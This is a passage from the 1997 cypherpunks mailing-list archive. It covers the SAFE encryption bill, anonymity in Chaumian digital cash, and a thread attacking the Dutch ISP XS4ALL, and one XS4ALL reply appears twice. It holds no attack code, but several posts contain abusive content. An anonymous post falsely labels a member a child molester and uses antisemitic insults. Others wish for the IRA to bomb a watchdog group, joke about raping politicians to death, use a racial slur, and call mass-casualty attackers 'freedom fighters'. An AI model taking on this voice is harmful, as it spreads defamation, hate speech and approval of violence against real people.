>>> >>> I'm also puzzled by the fact that CDT is being criticized pretty much
>>> >>> solely, even though the entire Internet Privacy Coalition, and several
>>> >>> other groups all wrote a letter of support of the bill with only a
>>> >>> criticism of one provision.  However the overall statement was of
>>>support.
>>> >>> (see http://www.privacy.org/ipc/safe_letter.html)
>>> >>>
>>> >>> As far as I can tell, everyone criticizing the bill either thinks that:
>>> >>>
>>> >>> 	a) CDT actually runs all these groups behind the scenes, or
>>> >>> 	b) pretty much all of the Internet advocates believe that
>>>this bill
>>> >>>            is needed and are doing the best they can with what
>>>Congress has
>>> >>>            written.
>>> >>>
>>> >>> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans
>>>for Tax
>>> >>> Reform, the Association for Computing Machinery, Computer
>>>Professionals for
>>> >>> Social Responsiblity, Eagle Forum, the National Association for
>>>Criminal
>>> >>> Defense Lawyers, and PGP Inc all signed this letter.
>>> >>>
>>> >>> Can you consider, perhaps, for a second, that critics of SAFE are being
>>> >>> unreasonable?  I would think so, as critics of SAFE include the Clinton
>>> >>> Administration.  Is that the kind of company that cypherpunks keep?
>>> >>>
>>> >>> Here's a great excerpt from the Internet Privacy Coalition letter:
>>> >>>
>>> >>>   The pending bill provides a positive framework for the reforms
>>>that are
>>> >>>   long overdue in this critical area. It makes clear that the sale
>>>or use
>>> >>> of
>>> >>>   encryption, a vital technique to promote network security and
>>>individual
>>> >>>   privacy, should not be restricted in the United States. This is
>>>the view
>>> >>>   widely shared by users of the Internet and the computer and
>>> >>>communications
>>> >>>   industry. It was also a central recommendation of the
>>> >>>   report of the National Research Council last year.
>>> >>>
>>> >>> Looks like widespread support from people who study this issue for
>>>living.
>>> >>> I'm glad to be counted among them.
>>> >>>
>>> >>> -S
>>> >>>
>>> >>> -Shabbir
>>> >>>
>>> >>>
>>>
>>>
>>>
>>>
>>>



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From cpunks at algebra.com  Sat May  3 19:35:59 1997
From: cpunks at algebra.com (cpunks at algebra.com)
Date: Sun, 4 May 1997 10:35:59 +0800
Subject: BOUNCE cypherpunks@Algebra.COM:  Admin request: /^subject:\s*help\b/i (fwd)
Message-ID: <199705040227.VAA22500@manifold.algebra.com>


----- Forwarded message from owner-cypherpunks at algebra.com -----

>From owner-cypherpunks at Algebra.COM  Sat May  3 20:52:56 1997
Date: Sat, 3 May 1997 20:52:56 -0500
From: owner-cypherpunks at algebra.com
Message-Id: <199705040152.UAA22185 at manifold.algebra.com>
To: owner-cypherpunks at Algebra.COM
Subject: BOUNCE cypherpunks at Algebra.COM:  Admin request: /^subject:\s*help\b/i    

>From cpunks at manifold.algebra.com  Sat May  3 20:52:48 1997
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From: "William H. Geiger III" 
Date: Sat, 03 May 97 15:28:09 -0500
To: cypherpunks at cyberpass.net
Subject: Help!!
X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.27c b9 

-----BEGIN PGP SIGNED MESSAGE-----

Do to some problems with my ISP I have lost several days worth of mail. :(

Would someone be kind enough to zip up the cypherpunks posts from thursday
to today and send them to me.

Thanks,


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: What I like about MS is its loyalty to customers!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2uuPo9Co1n+aLhhAQHNMgP/bqjyLYYW9E5ZNU7mvXgt87IBwONabZUG
3UtHOkdn+y0ONDQED8HGRq8Z/1ns8yU9LfR4Y+FHvGp//3CmWwwce0MDTp3O0Mg1
QF0yX8h4qS8HpZUxn2FNnrhn2dj+dBKqZLm8ADLuOrV5lbNLeFuMFbTRGts/QEAD
BDJen5/U8ZI=
=bDrX
-----END PGP SIGNATURE-----
 
Tag-O-Matic: I smashed a Window and saw... OS/2.

----- End of forwarded message from owner-cypherpunks at algebra.com -----






From dlv at bwalk.dm.com  Sat May  3 19:58:02 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 4 May 1997 10:58:02 +0800
Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <199705040016.TAA04707@smoke.suba.com>
Message-ID: 


snow  writes:

> > --Tim May, still a felon, and still using encryption to further
> > prosecutable offenses. Fuck Congress.
> >
> 	Sorry, I don't like sloppy seconds...

"Seconds?"  Learn to count, 'punk.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From whgiii at amaranth.com  Sat May  3 20:30:26 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 4 May 1997 11:30:26 +0800
Subject: cyberpass.net down?
Message-ID: <199705040309.WAA14342@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

Is cyberpass.net down? I have posted several messages but have not received
any of them.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If Windows sucked it would be good for something.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2wNNY9Co1n+aLhhAQELwwQAkpj04nDm0nldgAHpFdfSa4aMa4XqNMWP
DDblV3g3QRF/e2+FXk43xl2R611zNIQGchzEiMipPal7NKw1O/RZBlS/QtU7iBeG
ScPYxEnom/Nq9xqdlCS0bhP2A6soikaK/SRAdX96w6iUtELbHWSN5GSSAD3LkN5B
0GEFhWgAF1M=
=mviw
-----END PGP SIGNATURE-----






From rah at shipwright.com  Sat May  3 21:32:13 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sun, 4 May 1997 12:32:13 +0800
Subject: Bypassing the Digicash Patents
In-Reply-To: <199705032048.NAA22766@joseph.cs.berkeley.edu>
Message-ID: 


Someone, whose reputation is bigger than God, in the hope of sparing me
public humiliation from the error of my ways (the very paradigm of a lost
cause :-)), wrote to me offline on this topic. I'm posting it here, because
frequently people reply to me with stuff which is extremely relevant to the
argument at hand, and which should be heard in public.

The main consideration I use is that none of the information in the reply
can be used to identify the person who sent it, or mess up whatever plans
they're laying, something you can clearly see in the following...


At 4:48 pm -0400 on 5/3/97, somebody wrote:
you write:
> > I further claim that the most efficient digital bearer certificate is an
> > anonymous one.
>
> Hal's point is this. There are two types of "anonymity": one where
> the bank says "I swear I won't keep any records based on the name
> you gave me" (the benign bank), and the other where we use Chaumian
> blinding so the bank never even sees the identity information (the
> untrusted bank).

Right. Let's call the first one the Microsoft model, because I feel
especially vicious this evening, and the second one the "Real" Chaum model.

> Now, it seems to me that the "benign bank" sort of anonymity can't
> cost any more (and in fact will even cost less) than the "untrusted
> bank" Chaumian anonymity.

Not true. With Chaumian anonymity, all the underwriter does is keep a
database of spent digital bearer certificates, which they keep down by
expiring certificate issues and the keys which generate them periodically.
When someone double-spends a certificate, the underwriter has enough
information to reveal their public key, but only when someone double spends
and not before.

With the Microsoft model, the underwriter knows who's buying your
certificates, *and* the shared secret which makes the cash valid, *and*
what time the certificate was issued, *and* what your shoe sizes, and the
name of your sister's first date, and, and, and,...

Anyway, I claim that the very Chaumian inability to *ever* know who bought
the certificates you underwrite keeps you from ever *trying* to keep track
of any other data, which, of course, is inherently cheaper.

> Yet your arguments for anonymity apply
> equally to both situations.

No they don't. There's a qualitative difference between a system where you
can't ever know who some one is, but you can still trust them, and a system
where you always know who someone is and they have to trust *you*. :-). I
say that one of the additional virtues of the former system is
significantly reduced transaction costs, and finally, that that happy side
effect will eventually result in a shift away from the latter kind of
system, if it ever is useful to begin with.

By the way, an additional cost of the system, which is obviously more in
line with the privacy concerns of cypherpunks, and possibly less germaine
to the transaction cost issue we're discussing, is the cost of the risk of
breaking the confidentiality of systems like the Microsoft idea. I have a
hunch that all it takes is one big information leak, and such systems will
be dropped as a form of digital cash underwriting, but I'm going pretty far
out on a limb to make that particular assertion. Should we call this the
"Clipper effect", just to rattle peoples' chains?

> Therefore, I say your arguments, taken
> to their logical conclusion, imply that we'll end up with "benign
> bank" anonymity, rather than Chaumian "untrusted bank" anonymity.

Again, I don't think so. However, what we really need is some actual
estimates and analysis to prove it, barring the existence of any actual
transaction cost data, of course. :-). Something I'm not qualified to do,
though I bet there are people here who can get those answers.

> But "benign bank" anonymity is a very very weak form of anonymity
> indeed -- it's not what most cypherpunks (or cryptographers) mean
> when they talk about anonymous digital cash.

Amen. Only people mired in the book-entry way of looking at things think
otherwise. I believe the economics of the marketplace will soon teach them
the serious errors of their ways...

> "Benign bank" anonymity
> is the sort of thing that Cybercash or other traditional systems
> provide; "untrusted bank" security is what Digicash provides.

And, again, I assert that the paradox of all this is that the cheapest form
of commerce is a form where you don't trust anyone, or, better, trust, but
verify, everyone. That's the beauty of the blind signature algorithm, it
allows you to do all that, and not keep books, which cost money.

> So, if I understand your argument correctly, you're saying that
> we'll inevitably end up with some weak form of anonymity, but it
> will be far weaker than what most cypherpunks want.

I hope you can see by now, after I've taken another shot at explaining it
better, what I was getting at.

> That sounds more like a cause for a call to arms than a reason to
> sit around reassuring ourselves that everything will turn out fine
> without us!

Nah. I don't do calls to arms. It's much better to change the world by
making money. An especially important focus to have when you're building
transaction systems. :-).


I strongly beleive that you can easily knock three, maybe four, decimal
places off the cost of any transaction you can care to mention just by
using strong financial cryptography and anonymous digital bearer
certificates on a ubiquitous geodesic network.

That remains to be seen, however. I will say that I'm working as hard as
someone with my limited skillset can to prove that hypothesis. :-).


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/








From tcmay at got.net  Sat May  3 23:14:48 1997
From: tcmay at got.net (Tim May)
Date: Sun, 4 May 1997 14:14:48 +0800
Subject: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: 
Message-ID: 



[I've been away from my computer, else I would've responded to Ernest's
post earlier.]


At 11:10 AM -0800 5/2/97, Ernest Hua wrote:

>In short, they can get what they want instantly, while we cannot
>except through a long and arduous process (during which they can throw
>many procedural and lobbying obstacles to slow us down).  The process
>is clearly in THEIR favor (and not without good reason), and we must
>face that fact.

Yes, and they keep throwing out new proposals (Clipper I, II, and III, Key
Recovery Initiative, Trusted Third Parties, blah blah). Not to mention
Digital Telephony, iterations of the copyright law, and ambiguous
legislation about terrorism and assistance to terrorists. They can generate
laws far faster than we can mount political counter-efforts, especially
since the lobbying agencies (FBI, NSA, Commerce, FCC, FDA, SEC, etc.) are
using _our_ stolen money to pay for these lobbying efforts.

It's hopeless to fight them on their own turf, as they hold most of the
cards (and we paid for them).


>It takes just one Om Shinri Kyo (sp?) in any nation to convince its
>leaders to pass knee-jerk panic legislation in the name of security,
>and it's the fault of politics at the beck and call of human nature
>(not just stupid politicians).

And this will happen regardless of whether SAFE passes or not. As several
of us have pointed out, SAFE contains prominently mentioned provisions for
the stoppage of crypto exports (and maybe even domestic distribution)
should terrorism or military diversions be linked. (Stuff about the EEPA,
for example.)

When a nut shot up a schoolyard, we lost our basic right to buy basic
firearms. (The same thing happened in Australia and Britain, too. Almost as
if there's a script being followed. "Save the children" is the passphrase
for removing liberties.)

When it was _suspected_ that a bomb took the TWA flight down, look what
happened to the liberties of travellers in public places.

As Ernest notes, all it will take is one _major_ terrorist incident for
many of the remaining liberties to vanish in a period of a few weeks. Had
the World Trade Center bombs succeeded (in bringing down one of the
towers), this would have done it. When freedom fighters ultimately succeed
in, say, killing 5000 Londoners in a Sarin or Ricin attack in the Tube,
expect dramatic moves in all Western nations to sharply curtail civil
liberties.

There is no hope that legal measures can maintain liberty. Only
technological bypasses of the State can succeed.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From NOSPAM-geeman at best.com  Sun May  4 00:52:01 1997
From: NOSPAM-geeman at best.com (geeman)
Date: Sun, 4 May 1997 15:52:01 +0800
Subject: Ready for PrimeTime: FUD! The Newsletter of Fear Uncertainty and Doubt
Message-ID: <3.0.32.19970504003115.006c49b0@best.com>



See this new exciting venture.
Cards and Letters Welcome; use "FUD" in the subject header.

www.best.com/~geeman









From kibo at thecia.net  Sun May  4 04:02:23 1997
From: kibo at thecia.net (kibo)
Date: Sun, 4 May 1997 19:02:23 +0800
Subject: soft drugs? Artikel about XS4ALL in New York
In-Reply-To: 
Message-ID: 


see, the whole problem here is the same as usual.
people mixing up pot with "other" allegedly "soft drugs."
Pot must never be mixed up with anything.

On Sat, 3 May 1997, Dr.Dimitri Vulis KOTM wrote:

> Date: Sat, 03 May 97 08:57:37 EDT
> From: "Dr.Dimitri Vulis KOTM" 
> Reply-To: freedom-knights at jetcafe.org
> To: cypherpunks at toad.com
> Subject: Re: Artikel about XS4ALL in New York
> 
> [cc'd to freedom-knights, who don't appreciate censorship of mj web pages]
> 
> Paul Bradley  writes:
> 
> > > anarchists, bent on disrupting society," Rodriquez told the Dutch daily
> > > Trouw. "But now they have come to see that we are nice and quiet people
> > > really."
> >
> > The only "nice people" are dangerous anarchists bent on destroying
> > governments and buggering poloticians to death. (last part a personal
> > preference of course, the author is totally straight but would
> > nonetheless be distinctly amused to see any government official
> > butt-raped to death)
> 
> I, personally, would have to use a dildo.  Even if I were queer,
> I wouldn't get it up for a politician or a Cabal supporter.
> 
> Yes, let's fuck Chris Lewis to death with a 27" dildo!!!1!!1!
> 

an Excellent Idea!

> > > The company was instrumental in the creation of the Amsterdam Digital
> > > The hotline is run by Internet users and providers. Unlike Britain's
> > > Internet Watch Foundation, the Dutch hotline doesn't censor any
> > > information nor does it ask the provider to do so. Hotline operators
> > > contact the author of the information and ask him to remove the
> > > offending content.  "If the author does not comply, we report him to
> > > the police, and he'll be prosecuted," said Rodriquez, who also is
> > > chairman of the Dutch Providers Association.
> 
> Both asking the author to remove contents, and contacting the police
> are dishonorable acts. Even if the US, honorable providers tell the
> complainers: if it's something illegal, call the cops and leave us
> out of it.
> 

See, you can not trust any of those fucking foreigh Countries.
Even Holland, which is supposed to be the home for pot, arrests
people for "offending content."

It has become apparent that the First Amendment which guarantees
Freedom Of Speech, must be applied world-wide, in order to protect
de-facto Universal Freedoms, which all come from Common Law.

> > > "The Internet Watch Foundation forces the provider to remove the
> > > illegal content," he added. "This is a fundamentally different approach
> > > to responsibilities on the Internet. We think the author of the
> > > information is responsible for his own actions, not the provider."
> 
> I hope the IRA blows up these Internet Watch motherfuckers.
> Is this Blair guy any saner than the tory bastards?
> 
> > And if he chooses not to remove the content you happen to find offensive?
> > If you truly believed in the rights of the author and publisher of the
> > information you would think about it before sending in your own
> > particular brand of thugs to "crush the mutiny".
> 
> Perhaps we should further expose XS4ALL's hypocricy by renting from the
> web space and putting up some pages they won't like.
> 

I like the idea of attacking and eliminating their POP altogether.
He who interferes with Freedom Of Speech deserves to have their POP
eliminated.

> > > Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to
> > > comply, as it did a few weeks ago when it shut down a customer's home
> > > page called Neuroroom, which sold marijuana and other soft drugs in
> > > Holland and abroad.
> >

soft drugs?  "drugs" is a bad word.  pot is not a "drug" by the common
connotation in society.  pot is a medicine and an herb.

> > Sometimes one really wonders why we bother to set up mirrors to allow
> > freedom of information to users, when the owners of these servers,
> > supposedly in favour of free speech, do not even have the strength of
> > character or conviction to decide for themselves what they will allow on
> > their servers rather than bending over for the long cock of the law...
> 
> The ISP is not a court to decide that a web page offering MJ for
> sale is "illegal".
> 
> > > The company's commitment to support free expression and democratization
> > > of the Internet doesn't stop here.
> >
> > As far as I can see it hasn`t even started yet.
> >
> > > Last fall when the Serbian
> > > government censored radio station B-92, XS4ALL helped design an
> > > Internet campaign and started to carry news broadcasts (in RealAudio
> > > format) that kept the rare opposition voice alive and the international
> > > public informed through independent accounts of the events occurring
> > > during the mass demonstrations in Belgrade.
> >
> > I presume B-92 fell into line and matched the "requirements under law for
> > obtaining a free-speech permit" before XS4ALL allowed this/
> 
> It's because Germans will gladly do anything to fuck over the Serbs.
> I bet XS4All wouldn't host a web page for Karajic.
> 
> > > "Basically any project we like gets free resources from XS4ALL,"
> > > Rodriquez commented.
> >
> > And anyone who guarantees to publicly lick the boots of the benevolent
> > owners in thanks for their support gets as much free space as they like?
> >
> > Of course I believe in the right to free expression of anyone and if
> > these thugs choose not to allow material they don`t like on their servers
> > they have every right to remove it. I just don`t see that setting up
> > mirrors to defeat blocks on sites that refuse to carry certain content is
> > of any value in the fight for free speech. Sure, create a mirror of
> > Radikal, but giving any credit or attribution to XS4ALL seems to be a
> > poor choice.
> 
> My understanding is that Radikal is a harmless, toothless liberal rag
> that the Germans had no grounds for censoring in the first place.
> Mirroring it is no big deal. How about mirroring the MJ page that
> the bastards at XS4ALL censored?
> 
> Actually, I don't think mirroring is a good technology either.
> The "eternal server" posted a few days ago seems VERY VERY promising,
> I'm very exited about this technology - many many thanks.
> 

Yes, I read about that.  I sure hope it is possible.

> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

"Freedom Of Speech" must become the Universal World Standard for the 
InterNet.  We have a long way to go.

medpot(tm)foundation






From kent at songbird.com  Sun May  4 04:10:31 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 4 May 1997 19:10:31 +0800
Subject: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: 
Message-ID: <19970504025133.49990@bywater.songbird.com>


On Sat, May 03, 1997 at 11:01:23PM -0800, Tim May wrote:
[...]
> 
> When a nut shot up a schoolyard, we lost our basic right to buy basic
> firearms. (The same thing happened in Australia and Britain, too. Almost as
> if there's a script being followed. "Save the children" is the passphrase
> for removing liberties.)
>
> When it was _suspected_ that a bomb took the TWA flight down, look what
> happened to the liberties of travellers in public places.
> 
> As Ernest notes, all it will take is one _major_ terrorist incident for
> many of the remaining liberties to vanish in a period of a few weeks. Had
> the World Trade Center bombs succeeded (in bringing down one of the
> towers), this would have done it. When freedom fighters ultimately succeed
> in, say, killing 5000 Londoners in a Sarin or Ricin attack in the Tube,
> expect dramatic moves in all Western nations to sharply curtail civil
> liberties.

I think rather it is an inevitable consequence of population density
and technological advancement.  Technological advancement creates the
facilities that a deranged individual can use to cause large amounts
of damage in a very short time.  Society doesn't yet have a 
successful response to this problem.

> There is no hope that legal measures can maintain liberty. Only
> technological bypasses of the State can succeed.

This is a persistent misstatement on your part.  You constantly label
your enemy as the "state", but really it is society as a whole. 
Government, military, industry, small business, the educational
system, the "masses" -- it is all a parcel, and it is very difficult
(if not meaningless) to try to single out the "state" as an 
independent actor in this parcel.

In any case, even "technological bypasses" will almost certainly 
fail.  Then what?

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From nobody at REPLAY.COM  Sun May  4 05:02:34 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 4 May 1997 20:02:34 +0800
Subject: Firewalls
Message-ID: <199705041139.NAA19361@basement.replay.com>


Timmy Mayo the self-admitted child molester 
possesses a rudimentary dick less than one 
inch long, half the size of his mother's 
clitoris, that barely makes a fistful. Thereby 
hangs the root of this Jew-hating sissy's sick 
fixation on little boys and Usenet forgeries.

         \|||/
         (o o)
     -ooO-(_)-Ooo- Timmy Mayo






From YES! at netcom.es  Sun May  4 20:25:55 1997
From: YES! at netcom.es (YES! at netcom.es)
Date: Sun, 4 May 1997 20:25:55 -0700 (PDT)
Subject: YOU ARE APPROVED!
Message-ID: <505770395032.UAA78760@ns2.foogi.com>


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From lucifer at dhp.com  Sun May  4 05:58:38 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 4 May 1997 20:58:38 +0800
Subject: No Subject
Message-ID: <199705041243.IAA10748@dhp.com>


Quoting: http://www.msnbc.com/onair/nbc/mtp/default.asp

Tune in to Meet the Press with Tim Russert on Sunday... check local listings for details. 

Sunday: Meet the Press will look at
    crime, terrorism, national security, and
    foreign campaign contributions.
    Moderator Tim Russert will speak with
    FBI Director Louis Freeh. This week's
    panelist will be NBC's Pete Williams,
    and the roundtable guest will be
    Elizabeth Drew, author of Whatever it
    Takes. 

Meet the Press transcripts are usually
  available three hours after the show airs.







From paul at fatmans.demon.co.uk  Sun May  4 08:14:18 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 4 May 1997 23:14:18 +0800
Subject: Artikel about XS4ALL in New York
In-Reply-To: 
Message-ID: 




> > The only "nice people" are dangerous anarchists bent on destroying
> > governments and buggering poloticians to death. (last part a personal
> > preference of course, the author is totally straight but would
> > nonetheless be distinctly amused to see any government official
> > butt-raped to death)
> 
> I, personally, would have to use a dildo.  Even if I were queer,
> I wouldn't get it up for a politician or a Cabal supporter.

This I can fully understand.

> > > "The Internet Watch Foundation forces the provider to remove the
> > > illegal content," he added. "This is a fundamentally different approach
> > > to responsibilities on the Internet. We think the author of the
> > > information is responsible for his own actions, not the provider."
> 
> I hope the IRA blows up these Internet Watch motherfuckers.

If I don`t get there first...

> Is this Blair guy any saner than the tory bastards?

Calling any democratic polotician, especially in the UK, sane, is a big 
mistake. However, if we may rephrase and ask if he is any less deranged 
we can safely answer "no".

I heard a wonderful comment on the cryptography at c2 list earlier that Jack 
Straw (the new Labour home secretary, who is in charge of law and order) 
may be defined as the only person for whom anal sex with michael howard 
(his predecessor) counts as masturbation. They both even look deranged 
(Michael Howard looked rather like a serial killer and jack straw looks 
like a church reject). I don`t know about crypto policy, Labour are 
supposed to be opposed to mandatory GAK but this is of course a small 
issue when put in perspective. The new labour administration are a group 
of anti-drugs, anti-"crime" misfits who I hope go the same way as the 
previous leader of the labour party, John Smith, who died of a heart attack.

Just to give you some overview of the fuck ups we now have governing the 
UK I present a list of proposals Tony Blair and his motley crew have made in 
the last year:

Mandatory minimum sentencing for repeat offenders regardless of the 
opinion of the judge.

State set curfews for all children under 16 regardless of their parents 
wishes.

Parents to be held responsible for the crimes of their children if the 
children repeat offend.

Several vague allusions towards internet censorship schemes or mandatory 
web page rating using PICS.

Minimum wage for full time employees, regardless of the empolyees skills 
or the wishes of the employer.

Further action to prevent "bias" and "discrimination" in the workplace, 
eg. "Employ this unskilled bone idle coon and we`ll lower your 
corporation tax 2%"

Further plans for yet more CCTV cameras in public places.

Mandatory ID cards for citizens (This one sounds like a joke, believe me 
it is not).

A ban on all handguns even when registered (currently all pistols above 
.22 are banned and all guns have to be registered in a process whereby if 
the applicant for a certificate has any history of political dissention 
or crime (eg. Smoking a joint, the ultimate sin against society) the 
certificate will be refused.

Yet more spending on welfare to support the pieces of shit in the gutter 
I pass every day.



> > And if he chooses not to remove the content you happen to find offensive?
> > If you truly believed in the rights of the author and publisher of the
> > information you would think about it before sending in your own
> > particular brand of thugs to "crush the mutiny".
> 
> Perhaps we should further expose XS4ALL's hypocricy by renting from the
> web space and putting up some pages they won't like.

I think this is an excellent idea, I`ll call or mail them in a few days 
to find out their pricing structure.


> > > Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to
> > > comply, as it did a few weeks ago when it shut down a customer's home
> > > page called Neuroroom, which sold marijuana and other soft drugs in
> > > Holland and abroad.
> >
> > Sometimes one really wonders why we bother to set up mirrors to allow
> > freedom of information to users, when the owners of these servers,
> > supposedly in favour of free speech, do not even have the strength of
> > character or conviction to decide for themselves what they will allow on
> > their servers rather than bending over for the long cock of the law...
> 
> The ISP is not a court to decide that a web page offering MJ for
> sale is "illegal".

Absolutely, besides which, even though I believe in the right of people 
to be as bigotted and statist as they see fit, there are only so many 
causes we can support and coming in on the side of XS4ALL knowing their 
record seems ill advised to me. If they truly deserved our support they 
would retain the pages whether they were legal or not.

> > > "Basically any project we like gets free resources from XS4ALL,"
> > > Rodriquez commented.
> >
> > And anyone who guarantees to publicly lick the boots of the benevolent
> > owners in thanks for their support gets as much free space as they like?
> >
> > Of course I believe in the right to free expression of anyone and if
> > these thugs choose not to allow material they don`t like on their servers
> > they have every right to remove it. I just don`t see that setting up
> > mirrors to defeat blocks on sites that refuse to carry certain content is
> > of any value in the fight for free speech. Sure, create a mirror of
> > Radikal, but giving any credit or attribution to XS4ALL seems to be a
> > poor choice.
> 
> My understanding is that Radikal is a harmless, toothless liberal rag
> that the Germans had no grounds for censoring in the first place.
> Mirroring it is no big deal. How about mirroring the MJ page that
> the bastards at XS4ALL censored?

I actually went to the page once, nearly brought some bud but as I recall 
they didn`t have an SSL link so I chose not to transmit my CCN.

I don`t have a copy, but if XS4ALL have any balls at all they will send 
us a copy. I`ll get onto them about this later.

> Actually, I don't think mirroring is a good technology either.
> The "eternal server" posted a few days ago seems VERY VERY promising,
> I'm very exited about this technology - many many thanks.

No, it isn`t really but was, for all intents and purposes, the best we 
had. I haven`t yet seen the eternal server idea but I`ll trawl the 
archives for it.


Paul "Can`t really be bothered to re-do his .sig file yet" Bradley






From paul at fatmans.demon.co.uk  Sun May  4 09:12:55 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 5 May 1997 00:12:55 +0800
Subject: Rape, death and XS4ALL
Message-ID: 




> > The only "nice people" are dangerous anarchists bent on destroying
> > governments and buggering poloticians to death. (last part a personal
> > preference of course, the author is totally straight but would
> > nonetheless be distinctly amused to see any government official
> > butt-raped to death)
> 
> I, personally, would have to use a dildo.  Even if I were queer,
> I wouldn't get it up for a politician or a Cabal supporter.

This I can fully understand.

> > > "The Internet Watch Foundation forces the provider to remove the
> > > illegal content," he added. "This is a fundamentally different approach
> > > to responsibilities on the Internet. We think the author of the
> > > information is responsible for his own actions, not the provider."
> 
> I hope the IRA blows up these Internet Watch motherfuckers.

If I don`t get there first...

> Is this Blair guy any saner than the tory bastards?

Calling any democratic polotician, especially in the UK, sane, is a big 
mistake. However, if we may rephrase and ask if he is any less deranged 
we can safely answer "no".

I heard a wonderful comment on the cryptography at c2 list earlier that Jack 
Straw (the new Labour home secretary, who is in charge of law and order) 
may be defined as the only person for whom anal sex with michael howard 
(his predecessor) counts as masturbation. They both even look deranged 
(Michael Howard looked rather like a serial killer and jack straw looks 
like a church reject). I don`t know about crypto policy, Labour are 
supposed to be opposed to mandatory GAK but this is of course a small 
issue when put in perspective. The new labour administration are a group 
of anti-drugs, anti-"crime" misfits who I hope go the same way as the 
previous leader of the labour party, John Smith, who died of a heart attack.

Just to give you some overview of the fuck ups we now have governing the 
UK I present a list of proposals Tony Blair and his motley crew have made in 
the last year:

Mandatory minimum sentencing for repeat offenders regardless of the 
opinion of the judge.

State set curfews for all children under 16 regardless of their parents 
wishes.

Parents to be held responsible for the crimes of their children if the 
children repeat offend.

Several vague allusions towards internet censorship schemes or mandatory 
web page rating using PICS.

Minimum wage for full time employees, regardless of the empolyees skills 
or the wishes of the employer.

Further action to prevent "bias" and "discrimination" in the workplace, 
eg. "Employ this unskilled bone idle coon and we`ll lower your 
corporation tax 2%"

Further plans for yet more CCTV cameras in public places.

Mandatory ID cards for citizens (This one sounds like a joke, believe me 
it is not).

A ban on all handguns even when registered (currently all pistols above 
.22 are banned and all guns have to be registered in a process whereby if 
the applicant for a certificate has any history of political dissention 
or crime (eg. Smoking a joint, the ultimate sin against society) the 
certificate will be refused.

Yet more spending on welfare to support the pieces of shit in the gutter 
I pass every day.



> > And if he chooses not to remove the content you happen to find offensive?
> > If you truly believed in the rights of the author and publisher of the
> > information you would think about it before sending in your own
> > particular brand of thugs to "crush the mutiny".
> 
> Perhaps we should further expose XS4ALL's hypocricy by renting from the
> web space and putting up some pages they won't like.

I think this is an excellent idea, I`ll call or mail them in a few days 
to find out their pricing structure.


> > > Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to
> > > comply, as it did a few weeks ago when it shut down a customer's home
> > > page called Neuroroom, which sold marijuana and other soft drugs in
> > > Holland and abroad.
> >
> > Sometimes one really wonders why we bother to set up mirrors to allow
> > freedom of information to users, when the owners of these servers,
> > supposedly in favour of free speech, do not even have the strength of
> > character or conviction to decide for themselves what they will allow on
> > their servers rather than bending over for the long cock of the law...
> 
> The ISP is not a court to decide that a web page offering MJ for
> sale is "illegal".

Absolutely, besides which, even though I believe in the right of people 
to be as bigotted and statist as they see fit, there are only so many 
causes we can support and coming in on the side of XS4ALL knowing their 
record seems ill advised to me. If they truly deserved our support they 
would retain the pages whether they were legal or not.

> > > "Basically any project we like gets free resources from XS4ALL,"
> > > Rodriquez commented.
> >
> > And anyone who guarantees to publicly lick the boots of the benevolent
> > owners in thanks for their support gets as much free space as they like?
> >
> > Of course I believe in the right to free expression of anyone and if
> > these thugs choose not to allow material they don`t like on their servers
> > they have every right to remove it. I just don`t see that setting up
> > mirrors to defeat blocks on sites that refuse to carry certain content is
> > of any value in the fight for free speech. Sure, create a mirror of
